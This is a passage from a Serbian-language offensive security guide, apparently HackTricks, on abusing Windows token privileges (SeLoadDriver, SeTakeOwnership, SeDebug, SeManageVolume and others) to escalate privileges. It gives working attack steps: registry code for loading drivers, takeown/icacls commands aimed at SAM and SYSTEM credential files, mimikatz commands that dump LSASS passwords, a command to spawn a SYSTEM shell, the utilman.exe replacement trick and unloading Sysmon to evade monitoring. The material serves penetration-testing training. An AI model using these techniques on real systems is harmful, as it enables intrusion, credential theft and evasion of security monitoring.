import winreg as reg
# Define the path and values
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
reg.CloseKey(key)
```
Više načina za zloupotrebu ovog privilegija u [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
### SeTakeOwnershipPrivilege
Ovo je slično **SeRestorePrivilege**. Njegova primarna funkcija omogućava procesu da **preuzme vlasništvo nad objektom**, zaobilazeći zahtev za eksplicitnim diskrecionim pristupom kroz obezbeđivanje WRITE_OWNER prava pristupa. Proces uključuje prvo obezbeđivanje vlasništva nad željenim registrijskim ključem u svrhu pisanja, a zatim menjanje DACL-a kako bi se omogućile operacije pisanja.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
# Use this with files that might contain credentials such as
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
c:\inetpub\wwwwroot\web.config
```
### SeDebugPrivilege
Ova privilegija omogućava **debugovanje drugih procesa**, uključujući čitanje i pisanje u memoriju. Različite strategije za injekciju memorije, sposobne da izbegnu većinu antivirusnih i rešenja za prevenciju upada, mogu se koristiti sa ovom privilegijom.
#### Dump memorije
Možete koristiti [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) iz [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ili [SharpDump](https://github.com/GhostPack/SharpDump) da **zabeležite memoriju procesa**. Konkretno, ovo se može primeniti na **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** proces, koji je odgovoran za čuvanje korisničkih kredencijala nakon što se korisnik uspešno prijavi na sistem.
Zatim možete učitati ovaj dump u mimikatz da dobijete lozinke:
```
mimikatz.exe
mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
#### RCE
Ako želite da dobijete `NT SYSTEM` shell, možete koristiti:
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
```bash
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
```
### SeManageVolumePrivilege
`SeManageVolumePrivilege` je Windows korisnička prava koja omogućava korisnicima da upravljaju diskovnim volumenima, uključujući njihovo kreiranje i brisanje. Iako je namenjena administratorima, ako se dodeli korisnicima koji nisu administratori, može se iskoristiti za eskalaciju privilegija.
Moguće je iskoristiti ovo pravo za manipulaciju volumenima, što dovodi do potpunog pristupa volumenu. [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) se može koristiti za davanje potpunog pristupa svim korisnicima za C:\
Pored toga, proces opisan u [ovom Medium članku](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) opisuje korišćenje DLL hijacking-a u kombinaciji sa `SeManageVolumePrivilege` za eskalaciju privilegija. Postavljanjem payload DLL `C:\Windows\System32\wbem\tzres.dll` i pozivanjem `systeminfo`, dll se izvršava.
## Check privileges
```
whoami /priv
```
**Tokeni koji se pojavljuju kao Onemogućeni** mogu se omogućiti, zapravo možete zloupotrebiti _Omogućene_ i _Onemogućene_ tokene.
### Omogućite sve tokene
Ako imate tokene koji su onemogućeni, možete koristiti skriptu [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) da omogućite sve tokene:
```bash
.\EnableAllTokenPrivs.ps1
whoami /priv
```
Ili **skripta** ugrađena u ovaj [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
## Tabela
Potpuna lista privilegija tokena na [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), sažetak ispod će navesti samo direktne načine za iskorišćavanje privilegije za dobijanje admin sesije ili čitanje osetljivih fajlova.
| Privilegija | Uticaj | Alat | Putanja izvršenja | Napomene |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**Admin**_ | alat treće strane | _"Omogućava korisniku da imitira tokene i privesc do nt sistema koristeći alate kao što su potato.exe, rottenpotato.exe i juicypotato.exe"_ | Hvala [Aurélien Chalot](https://twitter.com/Defte_) na ažuriranju. Pokušaću da to preformulišem u nešto više nalik receptu uskoro. |
| **`SeBackup`** | **Pretnja** | _**Ugrađene komande**_ | Čitajte osetljive fajlove sa `robocopy /b` | <p>- Može biti zanimljivije ako možete da pročitate %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (i robocopy) nisu od pomoći kada su u pitanju otvoreni fajlovi.<br><br>- Robocopy zahteva i SeBackup i SeRestore da bi radio sa /b parametrom.</p> |
| **`SeCreateToken`** | _**Admin**_ | alat treće strane | Kreirajte proizvoljni token uključujući lokalna admin prava sa `NtCreateToken`. | |
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplirajte `lsass.exe` token. | Skripta se može naći na [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
| **`SeLoadDriver`** | _**Admin**_ | alat treće strane | <p>1. Učitajte greškom kernel drajver kao što je <code>szkg64.sys</code><br>2. Iskoristite ranjivost drajvera<br><br>Alternativno, privilegija se može koristiti za uklanjanje drajvera vezanih za bezbednost sa <code>ftlMC</code> ugrađenom komandom. tj.: <code>fltMC sysmondrv</code></p> | <p>1. Ranjivost <code>szkg64</code> je navedena kao <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">kod za eksploataciju</a> je kreirao <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Pokrenite PowerShell/ISE sa prisutnom SeRestore privilegijom.<br>2. Omogućite privilegiju sa <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Preimenujte utilman.exe u utilman.old<br>4. Preimenujte cmd.exe u utilman.exe<br>5. Zaključajte konzolu i pritisnite Win+U</p> | <p>Napad može biti otkriven od strane nekog AV softvera.</p><p>Alternativna metoda se oslanja na zamenu servisnih binarnih fajlova smeštenih u "Program Files" koristeći istu privilegiju</p> |
| **`SeTakeOwnership`** | _**Admin**_ | _**Ugrađene komande**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Preimenujte cmd.exe u utilman.exe<br>4. Zaključajte konzolu i pritisnite Win+U</p> | <p>Napad može biti otkriven od strane nekog AV softvera.</p><p>Alternativna metoda se oslanja na zamenu servisnih binarnih fajlova smeštenih u "Program Files" koristeći istu privilegiju.</p> |
| **`SeTcb`** | _**Admin**_ | alat treće strane | <p>Manipulišite tokenima da uključite lokalna admin prava. Može zahtevati SeImpersonate.</p><p>Treba potvrditi.</p> | |
## Referenca
- Pogledajte ovu tabelu koja definiše Windows tokene: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
- Pogledajte [**ovaj rad**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) o privesc-u sa tokenima.
{{#include ../../../banners/hacktricks-training.md}}